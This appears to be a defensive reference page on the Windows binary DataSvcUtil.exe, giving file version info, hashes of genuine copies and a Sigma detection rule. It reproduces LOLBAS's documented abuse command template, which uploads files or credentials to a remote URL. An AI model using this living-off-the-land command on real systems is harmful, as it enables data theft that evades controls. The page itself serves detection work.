datasvcutil.exe

DataSvcUtil.exe file version info (xCyclopedia)

LOLBAS Upload 1 Sigma rule name it 1 ATT&CK technique 1 documented command 2 known copies with hashes

How datasvcutil.exe is abused

documented by LOLBAS

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-out

-uri

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for datasvcutil.exe.

1 documented command

from LOLBAS, each read by the identifier

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Upload file, credentials or data exfiltration in general

DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}

Identify

Trips 1 Sigma rule: mediumLOLBAS Data Exfiltration by DataSvcUtil.exe by Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for datasvcutil.exe, by Ialle Teixeira, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for datasvcutil.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumLOLBAS Data Exfiltration by DataSvcUtil.exeIalle Teixeira @teixeira0xfffff, Austin Songer @austinsonger

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Is it the real datasvcutil.exe?

file version info and known copies

Installed inC:\Windows\Microsoft.NET\Framework\v4.0.30319\

Signed byMicrosoft Windows

ProductMicrosoft .NET Framework, Microsoft Corporation

DescriptionDataSvcUtil.exe

2 known copies

4.8.4161.0 · C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe · signed by Microsoft Windows

eb1249c734e60c918d4538d497696481229343d09f9a05d689588ff18ba5bf94

4.8.4084.0 · C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe · signed by Microsoft Windows

09165924ff4da0bc6f58ba60c9eff597907929b200a4a18ff1978263f5a40631

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.